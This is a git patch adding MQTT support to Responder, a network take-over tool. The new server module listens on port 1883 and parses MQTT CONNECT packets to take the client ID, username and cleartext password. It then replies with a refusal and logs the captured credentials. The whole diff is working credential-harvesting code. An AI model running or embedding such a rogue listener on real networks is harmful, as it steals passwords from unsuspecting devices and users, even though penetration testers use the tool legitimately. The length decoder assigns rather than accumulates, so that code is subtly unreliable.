From a21b36605ce8c4c5ad214761e5da76e6aa816188 Mon Sep 17 00:00:00 2001
From: Ziga P <4499571+NullByteZero@users.noreply.github.com>
Date: Mon, 5 Jun 2023 20:19:44 +0200
Subject: [PATCH] Implemented MQTT support
---
Responder.conf | 1 +
Responder.py | 4 +
packets.py | 18 +++++
servers/MQTT.py | 205 ++++++++++++++++++++++++++++++++++++++++++++++++
settings.py | 2 +
utils.py | 1 +
6 files changed, 231 insertions(+)
create mode 100644 servers/MQTT.py
diff --git a/Responder.conf b/Responder.conf
index bae25f9..c157acf 100755
--- a/Responder.conf
+++ b/Responder.conf
@@ -16,6 +16,7 @@ LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
+MQTT = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
diff --git a/Responder.py b/Responder.py
index 6ef8862..2116864 100755
--- a/Responder.py
+++ b/Responder.py
@@ -351,6 +351,10 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
+ if settings.Config.MQTT_On_Off:
+ from servers.MQTT import MQTT
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))
+
if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,)))
diff --git a/packets.py b/packets.py
index ecff5f7..270f7f8 100755
--- a/packets.py
+++ b/packets.py
@@ -800,6 +800,24 @@ class IMAPCapabilityEnd(Packet):
("CRLF", "\r\n"),
])
+##### MQTT Packets #####
+class MQTTv3v4ResponsePacket(Packet):
+ fields = OrderedDict([
+ ("Type", "\x20"),
+ ("Len", "\x02"),
+ ("Session", "\x00"),
+ ("Code", "\x04"),
+ ])
+
+class MQTTv5ResponsePacket(Packet):
+ fields = OrderedDict([
+ ("Type", "\x20"),
+ ("Len", "\x03"),
+ ("Session", "\x00"),
+ ("Code", "\x86"),
+ ("Prop", "\x00"),
+ ])
+
##### POP3 Packets #####
class POPOKPacket(Packet):
fields = OrderedDict([
diff --git a/servers/MQTT.py b/servers/MQTT.py
new file mode 100644
index 0000000..f654664
--- /dev/null
+++ b/servers/MQTT.py
@@ -0,0 +1,205 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+
+from utils import settings, NetworkSendBufferPython2or3, SaveToDb
+
+if settings.Config.PY2OR3 == "PY3":
+ from socketserver import BaseRequestHandler
+else:
+ from SocketServer import BaseRequestHandler
+
+from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket
+
+#Read N byte integer
+def readInt(data, offset, numberOfBytes):
+ value = int.from_bytes(data[offset:offset+numberOfBytes], 'big')
+ offset += numberOfBytes
+ return (value, offset)
+
+#Read binary data
+def readBinaryData(data, offset):
+
+ #Read number of bytes
+ length, offset = readInt(data, offset, 2)
+
+ #Read bytes
+ value = data[offset:offset+length]
+ offset += length
+
+ return (value, offset)
+
+#Same as readBinaryData() but without reading data
+def skipBinaryDataString(data, offset):
+ length, offset = readInt(data, offset, 2)
+ offset += length
+ return offset
+
+#Read UTF-8 encoded string
+def readString(data, offset):
+ value, offset = readBinaryData(data, offset)
+
+ return (value.decode('utf-8'), offset)
+
+#Read variable byte integer
+#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011)
+def readVariableByteInteger(data, offset):
+ multiplier = 1
+ value = 0
+ while True:
+ encodedByte = data[offset]
+ offset += 1
+
+ value = (encodedByte & 127) * multiplier
+
+ if (multiplier > 128 * 128 * 128):
+ return None
+
+ multiplier *= 128
+
+ if(encodedByte & 128 == 0):
+ break
+
+ return (value, offset)
+
+class MqttPacket:
+
+ USERNAME_FLAG = 0x80
+ PASSWORD_FLAG = 0x40
+ WILL_FLAG = 0x04
+
+ def __init__(self, data):
+ self.__isValid = True
+
+ controllPacketType, offset = readInt(data, 0, 1)
+
+ #check if CONNECT packet type
+ if controllPacketType != 0x10:
+ self.__isValid = False
+ return
+
+ #Remaining length
+ remainingLength, offset = readVariableByteInteger(data, offset)
+
+ #Protocol name
+ protocolName, offset = readString(data, offset)
+
+ #Check protocol name
+ if protocolName != "MQTT" and protocolName != "MQIsdp":
+ self.__isValid = False
+ return
+
+ #Check protocol version
+ self.__protocolVersion, offset = readInt(data, offset, 1)
+
+ #Read connect flag register
+ connectFlags, offset = readInt(data, offset, 1)
+
+ #Read keep alive (skip)
+ offset += 2
+
+ #MQTTv5 implements properties
+ if self.__protocolVersion > 4:
+
+ #Skip all properties
+ propertiesLength, offset = readVariableByteInteger(data, offset)
+ offset+=propertiesLength
+
+ #Get Client ID
+ self.clientId, offset = readString(data, offset)
+
+ if (self.clientId == ""):
+ self.clientId = ""
+
+ #Skip Will
+ if (connectFlags & self.WILL_FLAG) > 0:
+
+ #MQTT v5 implements properties
+ if self.__protocolVersion > 4:
+ willProperties, offset = readVariableByteInteger(data, offset)
+
+ #Skip will properties
+ offset = skipBinaryDataString(data, offset)
+ offset = skipBinaryDataString(data, offset)
+
+ #Get Username
+ if (connectFlags & self.USERNAME_FLAG) > 0:
+ self.username, offset = readString(data, offset)
+ else:
+ self.username = ""
+
+ #Get Password
+ if (connectFlags & self.PASSWORD_FLAG) > 0:
+ self.password, offset = readString(data, offset)
+ else:
+ self.password = ""
+
+ def isValid(self):
+ return self.__isValid
+
+ def getProtocolVersion(self):
+ return self.__protocolVersion
+
+ def data(self, client):
+
+ return {
+ 'module': 'MQTT',
+ 'type': 'Cleartext',
+ 'client': client,
+ 'hostname': self.clientId,
+ 'user': self.username,
+ 'cleartext': self.password,
+ 'fullhash': self.username + ':' + self.password
+ }
+
+class MQTT(BaseRequestHandler):
+ def handle(self):
+
+ CONTROL_PACKET_TYPE_CONNECT = 0x10
+
+ try:
+ data = self.request.recv(2048)
+
+ #Read control packet type
+ controlPacketType, offset = readInt(data, 0, 1)
+
+ #Skip non CONNECT packets
+ if controlPacketType != CONTROL_PACKET_TYPE_CONNECT:
+ return
+
+ #Parse connect packet
+ packet = MqttPacket(data)
+
+ #Skip if it contains invalid data
+ if not packet.isValid():
+ #Return response
+ return
+
+ #Send response packet
+ if packet.getProtocolVersion() < 5:
+ responsePacket = MQTTv3v4ResponsePacket()
+ else:
+ responsePacket = MQTTv5ResponsePacket()
+
+ self.request.send(NetworkSendBufferPython2or3(responsePacket))
+
+ #Save to DB
+ SaveToDb(packet.data(self.client_address[0]))
+
+
+ except Exception:
+ raise
+ pass
diff --git a/settings.py b/settings.py
index 68429f1..90bacf8 100755
--- a/settings.py
+++ b/settings.py
@@ -125,6 +125,7 @@ class Settings:
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
+ self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
@@ -207,6 +208,7 @@ class Settings:
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
+ self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt')
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
diff --git a/utils.py b/utils.py
index 8b9175f..34e0c3f 100755
--- a/utils.py
+++ b/utils.py
@@ -506,6 +506,7 @@ def StartupMessage():
print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
+ print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))